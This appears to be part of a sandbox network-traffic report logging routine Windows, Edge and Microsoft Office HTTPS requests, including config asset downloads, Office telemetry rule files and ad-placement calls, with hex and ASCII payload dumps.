2024-11-26 15:31:47 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49863	13.107.246.63	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:45 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:46 UTC	555	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:46 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a7527e8d-d01e-0008-7b8d-3f7374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T153146Z-174f7845968v75bwhC1EWRuqen0000000ggg00000000mswa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:46 UTC	15829	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-26 15:31:46 UTC	16384	IN	Data Raw: c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 b1 dc 86 43 a9 41 db b1 Data Ascii: \|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7CA
2024-11-26 15:31:47 UTC	16384	IN	Data Raw: 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd f5 40 34 cd c4 ce 27 1e Data Ascii: kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q@4'

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:46 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153146Z-174f7845968cdxdrhC1EWRg0en0000000vm000000000dkr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:47 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:47 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153148Z-174f7845968l4kp6hC1EWRe8840000000vzg0000000007ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:47 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153148Z-174f7845968xr5c2hC1EWRd0hn0000000ckg0000000016cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:48 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:48 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:48 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153148Z-174f7845968nxc96hC1EWRspw80000000v8000000000pp93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49883	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:48 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153143Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4b7246785405439e903e545d8bd32b48&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-88000045&oemName=prwkvq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=prwkvq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p= Cache-Control: no-cache MS-CV: kFlAbtvs20+KVsvY.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:49 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2945 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: LOO9gDrWxb2MMcKky8zSZ9WMwPXOBzZHH1+A4+p//WvVhPdHR46E4NM+XOirbJPL8poYv061JhGMN5f2U0GTiFzWbejAJm/MdYh4ddt9NqWKOv9qy31JA50rOJNDbEZSi7ZLCKbl+iAU+/52fOeP2ck0i/bDDsSuGsNFvU2VpHKniLOn+rbe7Uh+qHM8rmsxoIAjju+cNp8CksDQ4q9+2wbceUl0G1v+dc7zvRMkjL6VQXrQNnS+3yGLhxcFd+/upE5ZfcKJnCX4fbpAig6jL28/OF8n+cUT8skrfDscY7wgZ95Z5tmOuevS8RQXz3M1IEO80ESXO5f5JPrBxjoZpg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:48 GMT Connection: close
2024-11-26 15:31:49 UTC	2945	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49886	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:49 UTC	370	OUT	GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=ed3d001be68049bbb5f2765b5770c75e&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-26 15:31:49 UTC	862	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=019153D917C7684C3781469A16A5691E; domain=.bing.com; expires=Sun, 21-Dec-2025 15:31:49 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Tue, 03-Dec-2024 15:31:49 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0931A3EF0E2F49C0B8ACE4FA84496171 Ref B: EWR30EDGE0910 Ref C: 2024-11-26T15:31:49Z Date: Tue, 26 Nov 2024 15:31:48 GMT Connection: close

